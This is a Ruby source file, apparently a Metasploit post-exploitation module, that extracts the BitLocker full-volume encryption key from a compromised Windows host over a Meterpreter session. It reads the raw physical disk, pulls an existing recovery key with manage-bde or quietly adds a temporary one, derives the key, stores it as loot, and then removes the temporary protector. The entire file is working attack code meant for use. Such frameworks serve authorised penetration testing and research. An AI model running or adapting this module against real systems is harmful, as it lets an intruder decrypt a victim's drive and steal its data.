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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::Windows::Priv
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  include Msf::Post::Windows::Error
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  include Msf::Post::Windows::FileInfo
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  include Msf::Post::File
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  ERROR = Msf::Post::Windows::Error
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Bitlocker Master Key (FVEK) Extraction',
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        'Description' => %q{
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          This module enumerates ways to decrypt Bitlocker volume and if a recovery key is stored locally
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          or can be generated, dump the Bitlocker master key (FVEK)
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        },
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        'License' => MSF_LICENSE,
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        'Platform' => ['win'],
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        'SessionTypes' => ['meterpreter'],
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        'Author' => ['Danil Bazin <danil.bazin[at]hsc.fr>'], # @danilbaz
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        'References' => [
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          ['URL', 'https://github.com/libyal/libbde/blob/master/documentation/BitLocker Drive Encryption (BDE) format.asciidoc'],
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          ['URL', 'https://web.archive.org/web/20170914195545/http://www.hsc.fr/ressources/outils/dislocker/'],
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        ],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [],
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          'Reliability' => []
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        },
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              stdapi_railgun_api
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              stdapi_sys_config_getenv
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            ]
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          }
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('DRIVE_LETTER', [true, 'Dump informations from the DRIVE_LETTER encrypted with Bitlocker', nil]),
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        OptString.new('RECOVERY_KEY', [false, 'Use the recovery key provided to decrypt the Bitlocker master key (FVEK)', nil])
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      ]
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    )
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  end
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  def run
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    file_path = session.sys.config.getenv('windir') << '\\system32\\win32k.sys'
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    major, minor, _build, _revision, _branch = file_version(file_path)
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    winver = (major.to_s + '.' + minor.to_s).to_f
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    fail_with(Failure::NoTarget, 'Module not valid for OS older that Windows 7') if winver <= 6
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    fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin?
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    drive_letter = datastore['DRIVE_LETTER']
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    system_root = expand_path('%SYSTEMROOT%')
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    cmd_out = cmd_exec('wmic', "logicaldisk #{drive_letter}: ASSOC:list /assocclass:Win32_LogicalDiskToPartition")
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    @starting_offset = cmd_out.match(/StartingOffset=(\d+)/)[1].to_i
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    drive_number = cmd_out.match(/DiskIndex=(\d+)/)[1]
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    r = client.railgun.kernel32.CreateFileW("\\\\.\\PhysicalDrive#{drive_number}",
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                                            'GENERIC_READ',
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                                            'FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE',
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                                            nil,
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                                            'OPEN_EXISTING',
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                                            'FILE_FLAG_WRITE_THROUGH',
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                                            0)
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    if r['GetLastError'] != ERROR::SUCCESS
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      fail_with(Failure::Unknown,
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                "Error opening #{drive_letter}. Windows Error Code: #{r['GetLastError']}
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         - #{r['ErrorMessage']}")
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    end
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    @handle = r['return']
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    print_good("Successfully opened Disk #{drive_number}")
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    seek(0)
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    if !datastore['RECOVERY_KEY'].nil?
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      print_status('Using provided recovery key')
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      recovery_key = datastore['RECOVERY_KEY']
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    else
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      print_status('Trying to gather a recovery key')
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      manage_bde = "#{system_root}\\system32\\manage-bde.exe"
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      unless exist?(manage_bde)
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        manage_bde = "#{system_root}\\sysnative\\manage-bde.exe"
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        unless exist?(manage_bde)
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          fail_with(Failure::Unknown, 'manage-bde.exe not found')
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        end
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      end
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      cmd_out = cmd_exec(manage_bde, "-protectors -get #{drive_letter}:")
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      recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)
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      if !recovery_key.nil?
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        recovery_key = recovery_key[1]
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        print_good("Recovery key found : #{recovery_key}")
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      else
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        print_status('No recovery key found, trying to generate a new recovery key')
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        cmd_out = cmd_exec(manage_bde,
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                           "-protectors -add #{drive_letter}: -RecoveryPassword")
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        recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)
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        id_key_tmp = cmd_out.match(/(\{[^}]+\})/)
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        if !recovery_key.nil?
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          recovery_key = recovery_key[1]
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          id_key_tmp = id_key_tmp[1]
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          print_good("Recovery key generated successfully : #{recovery_key}")
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        else
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          print_error('Recovery Key generation failed')
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          print_status('No recovery key can be used')
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          return
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        end
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      end
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    end
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    begin
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      @bytes_read = 0
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      fs = Rex::Parser::BITLOCKER.new(self)
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      print_status('The recovery key derivation usually take 20 seconds...')
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      fvek = fs.fvek_from_recovery_password_dislocker(recovery_key)
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      if !fvek.blank?
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        stored_path = store_loot('windows.file', 'application/octet-stream',
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                                 session, fvek)
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        print_good("Successfully extracted FVEK in #{stored_path}")
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        print_good('This hard drive could later be decrypted using : dislocker -k <key_file> ...')
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      else
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        print_error('Failed to generate FVEK, wrong recovery key?')
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      end
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    ensure
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      unless id_key_tmp.nil?
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        print_status('Deleting temporary recovery key')
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        cmd_exec(manage_bde,
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                 "-protectors -delete #{drive_letter}: -id #{id_key_tmp}")
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      end
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      client.railgun.kernel32.CloseHandle(@handle)
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    end
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    print_status('Post Successful')
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  end
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  def read(size)
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    client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']
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  end
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  def seek(offset)
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    offset += @starting_offset
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    high_offset = offset >> 32
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    low_offset = offset & (2**33 - 1)
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    client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)
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  end
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end
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